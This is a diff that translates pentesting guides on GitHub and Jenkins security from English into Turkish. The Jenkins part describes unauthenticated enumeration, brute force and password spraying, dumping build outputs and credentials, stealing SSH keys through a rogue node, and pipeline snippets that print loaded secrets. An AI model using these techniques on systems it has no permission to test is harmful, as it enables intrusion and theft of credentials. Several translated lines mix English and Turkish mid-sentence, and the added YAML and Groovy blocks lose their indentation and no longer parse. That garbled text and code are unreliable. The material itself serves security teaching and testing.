kullanıcı bildirimleri sağlarken) ve yalnızca belirtilen kapsamlarla erişim sağlamalıdır. +- Bir OAuth Uygulaması, kimlik doğrulaması yapılmış kullanıcı için "GitHub ile Giriş Yap" özelliğini etkinleştirerek bir kimlik sağlayıcı olarak kullanılabilir. +- **Tek bir depo** üzerinde hareket etmesini istiyorsanız bir **OAuth Uygulaması** oluşturmayın. `repo` OAuth kapsamı ile, OAuth Uygulamaları **kimlik doğrulaması yapılmış kullanıcının tüm** depolarında **hareket edebilir**. +- **Takımınız veya şirketiniz için bir uygulama olarak hareket etmesi için bir OAuth Uygulaması** oluşturmayın. OAuth Uygulamaları **tek bir kullanıcı** olarak kimlik doğrulaması yapar, bu nedenle bir kişi bir şirketin kullanması için bir OAuth Uygulaması oluşturursa ve ardından şirketten ayrılırsa, başka hiç kimse buna erişemez. +- **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) ulaşabilirsiniz. -### Github Applications +### Github Uygulamaları -Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. +Github uygulamaları, **github bilginize erişim sağlamak veya sizi taklit etmek** için izin isteyebilir. Github Uygulamalarında, uygulamanın erişim sağlayacağı depoları belirtmeniz gerekir. -- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. -- The GitHub App should **connect to a personal account or an organisation**. -- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) -- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them -- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_ +- Bir GitHub Uygulaması yüklemek için, **organizasyon sahibi olmalı veya bir depoda yönetici izinlerine sahip olmalısınız**. +- GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**. +- Kendi Github uygulamanızı [https://github.com/settings/apps](https://github.com/settings/apps) adresinde oluşturabilirsiniz. +- Hesabınıza erişimi olan tüm **Github uygulamalarını** [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) adresinde görebilirsiniz. +- İşte **Github Uygulamaları için API Uç Noktaları** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak, bunlardan bazılarına erişim sağlayabilecektir. +- Bir **organizasyondaki** yüklü uygulamaları _https://github.com/organizations/\/settings/installations_ adresinde görebilirsiniz. -Some security recommendations: +Bazı güvenlik önerileri: -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- Bir GitHub Uygulaması, **bir kullanıcıdan bağımsız olarak eylemler gerçekleştirmelidir** (uygulama [kullanıcıdan sunucuya](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) jetonu kullanmıyorsa). Kullanıcıdan sunucuya erişim jetonlarını daha güvenli hale getirmek için, 8 saat sonra süresi dolacak erişim jetonları ve yeni bir erişim jetonu için değiştirilebilecek bir yenileme jetonu kullanabilirsiniz. Daha fazla bilgi için "[Kullanıcıdan sunucuya erişim jetonlarını yenileme](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" kısmına bakın. +- GitHub Uygulamasının **belirli depolarla entegre olduğundan emin olun**. +- GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**. +- GitHub Uygulamasının, bir kullanıcının yapabileceği her şeyi bilmesini ve yapmasını beklemeyin. +- **Sadece "GitHub ile Giriş Yap" hizmetine ihtiyacınız varsa GitHub Uygulaması kullanmayın**. Ancak bir GitHub Uygulaması, kullanıcıları _ve_ diğer şeyleri oturum açtırmak için bir [kullanıcı tanımlama akışı](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir. +- Sadece bir GitHub kullanıcısı olarak hareket etmek ve o kullanıcının yapabileceği her şeyi yapmak istiyorsanız bir GitHub Uygulaması oluşturmayın. +- GitHub Actions ile uygulamanızı kullanıyorsanız ve iş akışı dosyalarını değiştirmek istiyorsanız, `workflow` kapsamını içeren bir OAuth jetonu ile kullanıcı adına kimlik doğrulaması yapmalısınız. Kullanıcının iş akışı dosyasını içeren depoda yönetici veya yazma iznine sahip olması gerekir. Daha fazla bilgi için "[OAuth uygulamaları için kapsamları anlama](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" kısmına bakın. +- **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) ulaşabilirsiniz. ### Github Actions -This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. +Bu, **github'da kimlik doğrulama yapmanın bir yolu değildir**, ancak **kötü niyetli** bir Github Action, **github'a yetkisiz erişim** elde edebilir ve **verilen** **ayrıcalıklara** bağlı olarak çeşitli **farklı saldırılar** gerçekleştirilebilir. Daha fazla bilgi için aşağıya bakın. -## Git Actions +## Git Eylemleri -Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). +Git eylemleri, bir olay gerçekleştiğinde **kodun yürütülmesini otomatikleştirmeye** olanak tanır. Genellikle yürütülen kod, **deponun koduyla bir şekilde ilişkilidir** (belki bir docker konteyneri oluşturmak veya PR'nin gizli bilgiler içermediğini kontrol etmek). -### Configuration +### Yapılandırma -In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. +_https://github.com/organizations/\/settings/actions_ adresinde, organizasyon için **github eylemlerinin yapılandırmasını** kontrol etmek mümkündür. -It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. +Github eylemlerinin kullanımını tamamen yasaklamak, **tüm github eylemlerine izin vermek** veya yalnızca belirli eylemlere izin vermek mümkündür. -It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run. +Ayrıca, bir Github Eylemi çalıştırmak için **kimin onayına ihtiyaç duyduğunu** ve bir Github Eylemi çalıştırıldığında **GITHUB_TOKEN'un izinlerini** yapılandırmak da mümkündür. -### Git Secrets +### Git Gizli Bilgileri -Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. - -These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: +Github Eylemleri genellikle github veya üçüncü taraf uygulamalarla etkileşimde bulunmak için bazı gizli bilgilere ihtiyaç duyar. **Gizli bilgileri açık metin olarak** depoya koymaktan kaçınmak için, github bunları **Gizli Bilgiler** olarak koymanıza izin verir. +Bu gizli bilgiler, **depo veya tüm organizasyon için** yapılandırılabilir. Daha sonra, **Eylemin gizli bilgiye erişebilmesi için** bunu şu şekilde belirtmeniz gerekir: ```yaml steps: - - name: Hello world action - with: # Set the secret as an input - super_secret:${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret:${{ secrets.SuperSecret }} +- name: Hello world action +with: # Set the secret as an input +super_secret:${{ secrets.SuperSecret }} +env: # Or as an environment variable +super_secret:${{ secrets.SuperSecret }} ``` - -#### Example using Bash - +#### Örnek Bash Kullanımı ```yaml steps: - - shell: bash - env: SUPER_SECRET:${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" +- shell: bash +env: SUPER_SECRET:${{ secrets.SuperSecret }} +run: | +example-command "$SUPER_SECRET" ``` - > [!WARNING] -> Secrets **can only be accessed from the Github Actions** that have them declared. +> Gizli bilgiler **yalnızca bunları tanımlayan Github Actions'tan erişilebilir**. -> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. +> Repo veya organizasyonlarda yapılandırıldıktan sonra **github kullanıcıları onlara tekrar erişemeyecek**, sadece **değiştirebileceklerdir**. -Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). +Bu nedenle, **github gizli bilgilerini çalmanın tek yolu, Github Action'ı yürüten makineye erişim sağlamaktır** (bu senaryoda yalnızca Action için tanımlanan gizli bilgilere erişebileceksiniz). -### Git Environments - -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: +### Git Ortamları +Github, **gizli bilgileri** saklayabileceğiniz **ortamlar** oluşturmanıza olanak tanır. Ardından, ortam içindeki gizli bilgilere erişim vermek için github action'a şöyle bir şeyle erişim verebilirsiniz: ```yaml jobs: - deployment: - runs-on: ubuntu-latest - environment: env_name +deployment: +runs-on: ubuntu-latest +environment: env_name ``` - You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. @@ -229,11 +223,11 @@ The **branch protections of a repository** can be found in _https://github.com/\ Different protections can be applied to a branch (like to master): - You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. - - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. +- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. +- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. +- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) +- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. +- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. - **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). - **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. - **Require signed commits**. The commits need to be signed. @@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 4dfba3ff3..babd18009 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -1,312 +1,292 @@ -# Jenkins Security +# Jenkins Güvenliği {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. +Jenkins, **programlama dilleri** ve kaynak kodu depolarının neredeyse **herhangi** bir kombinasyonu için **sürekli entegrasyon** veya **sürekli teslimat** (CI/CD) ortamı oluşturmanın basit bir yolunu sunan bir araçtır. Ayrıca, çeşitli rutin geliştirme görevlerini otomatikleştirir. Jenkins, **bireysel adımlar için betikler oluşturma ihtiyacını** ortadan kaldırmasa da, tüm derleme, test ve dağıtım araçları dizisini entegre etmenin daha hızlı ve daha sağlam bir yolunu sağlar. {{#ref}} basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration - -In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: +## Kimlik Doğrulamasız Sayım +Kimlik doğrulaması olmadan ilginç Jenkins sayfalarını aramak için (_/people_ veya _/asynchPeople_, bu mevcut kullanıcıları listeler) şunları kullanabilirsiniz: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` - -Check if you can execute commands without needing authentication: - +Kullanıcı doğrulaması gerektirmeden komutları çalıştırıp çalıştıramayacağınızı kontrol edin: ``` msf> use auxiliary/scanner/http/jenkins_command ``` - -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. +Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **kullanıcı adları**. You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ ![](<../../images/image (146).png>) -### Known Vulnerabilities +### Bilinen Güvenlik Açıkları {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## Giriş -In the basic information you can check **all the ways to login inside Jenkins**: +In the basic information you can check **Jenkins'e giriş yapmanın tüm yolları**: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### Kayıt -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +You will be able to find Jenkins instances that **hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.** -### **SSO Login** +### **SSO Girişi** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Also if **SSO** **işlevselliği**/**eklentileri** were present then you should attempt to **giriş yapmak** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. - +**Jenkins** lacks **şifre politikası** and **kullanıcı adı brute-force önlemesi**. It's essential to **brute-force** users since **zayıf şifreler** or **kullanıcı adları şifre olarak** may be in use, even **ters kullanıcı adları şifre olarak**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` +### Şifre Spraying -### Password spraying +[Bu python betiğini](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) veya [bu powershell betiğini](https://github.com/chryzsh/JenkinsPasswordSpray) kullanın. -Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). +### IP Beyaz Liste Bypass -### IP Whitelisting Bypass +Birçok organizasyon, **SaaS tabanlı kaynak kontrol yönetim (SCM) sistemleri** olan GitHub veya GitLab'ı, Jenkins veya TeamCity gibi **iç, kendi barındırdığı CI** çözümleri ile birleştirir. Bu yapı, CI sistemlerinin **SaaS kaynak kontrol satıcılarından webhook olayları almasına** olanak tanır, esasen pipeline işlerini tetiklemek için. -Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. +Bunu başarmak için, organizasyonlar **SCM platformlarının** **IP aralıklarını beyaz listeye alır**, böylece **webhooklar** aracılığıyla **iç CI sistemine** erişim izni verir. Ancak, **herkesin** GitHub veya GitLab'da bir **hesap** oluşturabileceğini ve bunu **webhook tetiklemek** için yapılandırabileceğini unutmamak önemlidir; bu da **iç CI sistemine** istek gönderebilir. -To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. +Kontrol edin: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) -Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +## İç Jenkins Suistimalleri -## Internal Jenkins Abuses - -In these scenarios we are going to suppose you have a valid account to access Jenkins. +Bu senaryolarda Jenkins'e erişim için geçerli bir hesabınız olduğunu varsayacağız. > [!WARNING] -> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** +> Jenkins'te yapılandırılan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları **gerçekleştirip gerçekleştiremeyeceğinizi** **belirleyebilirsiniz**. -For more information check the basic information: +Daha fazla bilgi için temel bilgileri kontrol edin: {{#ref}} basic-jenkins-information.md {{#endref}} -### Listing users +### Kullanıcıları Listeleme -If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +Eğer Jenkins'e eriştiyseniz, [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) adresinde diğer kayıtlı kullanıcıları listeleyebilirsiniz. -### Dumping builds to find cleartext secrets - -Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. +### Düz Metin Gizli Bilgileri Bulmak için Yapıları Dökme +Düz metin gizli bilgileri bulmak umuduyla yapı konsol çıktıları ve yapı ortam değişkenlerini dökmek için [bu betiği](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kullanın. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` +### **SSH Kimlik Bilgilerini Çalma** -### **Stealing SSH Credentials** - -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +Eğer ele geçirilen kullanıcının **yeni bir Jenkins düğümü oluşturma/değiştirme için yeterli yetkisi varsa** ve diğer düğümlere erişim için SSH kimlik bilgileri zaten saklanıyorsa, bu kimlik bilgilerini **çalarak** yeni bir düğüm oluşturup/değiştirerek ve **kimlik bilgilerini kaydedecek bir ana bilgisayar ayarlayarak** elde edebilir: ![](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). +Jenkins ssh kimlik bilgilerini genellikle **global sağlayıcıda** (`/credentials/`) bulabilirsiniz, bu nedenle diğer gizli bilgileri dökme şeklinizle bunları da dökebilirsiniz. Daha fazla bilgi için [**Gizli Bilgileri Dökme Bölümü**](./#dumping-secrets) bölümüne bakın. -### **RCE in Jenkins** +### **Jenkins'te RCE** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +Jenkins sunucusunda **shell almak**, saldırgana tüm **gizli bilgileri** ve **env değişkenlerini** sızdırma ve aynı ağda bulunan diğer makineleri **istismar etme** fırsatı verir veya hatta **bulut kimlik bilgilerini toplama** imkanı sağlar. -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +Varsayılan olarak, Jenkins **SYSTEM olarak çalışır**. Bu nedenle, onu ele geçirmek saldırgana **SYSTEM yetkileri** verecektir. -### **RCE Creating/Modifying a project** +### **Proje Oluşturma/Değiştirme ile RCE** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +Proje oluşturma/değiştirme, Jenkins sunucusunda RCE elde etmenin bir yoludur: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Execute Groovy script** +### **Groovy Script Çalıştırarak RCE** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +Ayrıca, yeni bir proje oluşturmaktan daha gizli olabilecek bir Groovy script çalıştırarak RCE elde edebilirsiniz: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Creating/Modifying Pipeline +### Pipeline Oluşturma/Değiştirme ile RCE -You can also get **RCE by creating/modifying a pipeline**: +Ayrıca **pipeline oluşturarak/değiştirerek RCE elde edebilirsiniz**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitation +## Pipeline İstismarı -To exploit pipelines you still need to have access to Jenkins. +Pipeline'ları istismar etmek için hala Jenkins'e erişiminiz olması gerekir. -### Build Pipelines +### Build Pipeline'ları -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**Pipeline'lar**, projelerde **build mekanizması** olarak da kullanılabilir, bu durumda **depo içinde** pipeline sözdizimini içeren bir **dosya** yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır: ![](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +Ayrıca, **pipeline yapılandırma dosyalarını başka yerlerde** (örneğin başka depolarda) saklamak da mümkündür; bu, depo **erişimini** ve pipeline erişimini **ayırma** amacı taşır. -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +Eğer bir saldırganın **o dosya üzerinde yazma erişimi** varsa, onu **değiştirebilir** ve **potansiyel olarak** pipeline'ı tetikleyebilir, hatta Jenkins'e erişimi olmadan bile.\ +Saldırganın bazı dal korumalarını **aşması** gerekebilir (platforma ve kullanıcı yetkilerine bağlı olarak bunlar aşılabilir veya aşılamayabilir). -The most common triggers to execute a custom pipeline are: +Özel bir pipeline'ı çalıştırmak için en yaygın tetikleyiciler şunlardır: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- **Ana dal için pull request** (veya potansiyel olarak diğer dallar için) +- **Ana dal için push** (veya potansiyel olarak diğer dallar için) +- **Ana dalı güncelleyin** ve bir şekilde çalıştırılmasını bekleyin > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> Eğer bir **harici kullanıcıysanız**, **başka bir kullanıcı/organizasyonun** repo ana dalına **PR oluşturmayı** ve **pipeline'ı tetiklemeyi** beklememelisiniz... ama eğer **kötü yapılandırılmışsa**, bunu istismar ederek şirketleri tamamen **tehdit edebilirsiniz**. ### Pipeline RCE -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). +Önceki RCE bölümünde, [**pipeline'ı değiştirerek RCE elde etme**](./#rce-creating-modifying-pipeline) tekniği zaten belirtilmişti. -### Checking Env variables - -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +### Env Değişkenlerini Kontrol Etme +Tüm pipeline için veya belirli aşamalar için **düz metin env değişkenleri** tanımlamak mümkündür. Bu env değişkenleri **hassas bilgi içermemelidir**, ancak bir saldırgan her zaman **tüm pipeline** yapılandırmalarını/Jenkinsfile'ları kontrol edebilir: ```bash pipeline { - agent {label 'built-in'} - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { ``` +### Gizli bilgileri dökme -### Dumping secrets - -For information about how are secrets usually treated by Jenkins check out the basic information: +Jenkins'in gizli bilgileri genellikle nasıl ele aldığı hakkında bilgi için temel bilgilere göz atın: {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. - -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +Kimlik bilgileri **küresel sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job//configure`) **sınırlanabilir**. Bu nedenle, hepsini dışarı aktarmak için **gizli bilgileri içeren tüm projeleri en azından ele geçirmeniz** ve özel/zehirli boru hatlarını çalıştırmanız gerekir. +Başka bir sorun var, bir boru hattının **env**'sinde bir **gizli bilgi** almak için **gizli bilginin adını ve türünü bilmeniz** gerekir. Örneğin, bir **`usernamePassword`** **gizli bilgisini** **`string`** **gizli bilgisi** olarak **yüklemeye** çalışırsanız bu **hata** ile karşılaşırsınız: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` - -Here you have the way to load some common secret types: - +Burada bazı yaygın gizli türlerini yüklemenin yolu var: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { - sh ''' - env #Search for USERNAME and PASS - ''' +sh ''' +env #Search for USERNAME and PASS +''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { - sh ''' - env #Search for SECRET - ''' +sh ''' +env #Search for SECRET +''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { - sh ''' - env # Search for USERPASS - ''' +sh ''' +env # Search for USERPASS +''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - env - ''' +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +env +''' } ``` - -At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Sayfanın sonunda **tüm kimlik bilgisi türlerini** bulabilirsiniz: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ -> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). +> **Tüm sırları bir kerede dökmenin** en iyi yolu, **Jenkins** makinesini **tehdit etmek** (örneğin, **yerleşik düğüm** üzerinde ters bir shell çalıştırmak) ve ardından **master anahtarlarını** ve **şifrelenmiş sırları** **sızdırmak** ve bunları çevrimdışı olarak çözmektir.\ +> Bunu nasıl yapacağınız hakkında daha fazla bilgi için [Düğümler ve Ajanlar bölümüne](./#nodes-and-agents) ve [Sonrası Sömürü bölümüne](./#post-exploitation) bakın. -### Triggers +### Tetikleyiciler -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. - -Cron example: +[Belgelerden](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın **otomatik olarak yeniden tetiklenmesi gereken yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre olan Pipelinelar için, `triggers` gerekli olmayabilir çünkü webhook tabanlı entegrasyon zaten mevcut olabilir. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir. +Cron örneği: ```bash triggers { cron('H */4 * * 1-5') } ``` +Check **diğer örnekleri belgelerde**. -Check **other examples in the docs**. +### Düğümler & Ajanlar -### Nodes & Agents +Bir **Jenkins örneği**, **farklı makinelerde çalışan farklı ajanlara** sahip olabilir. Bir saldırgan perspektifinden, farklı makinelere erişim, **çalıntı potansiyel bulut kimlik bilgileri** veya diğer makineleri istismar etmek için kullanılabilecek **farklı ağ erişimleri** anlamına 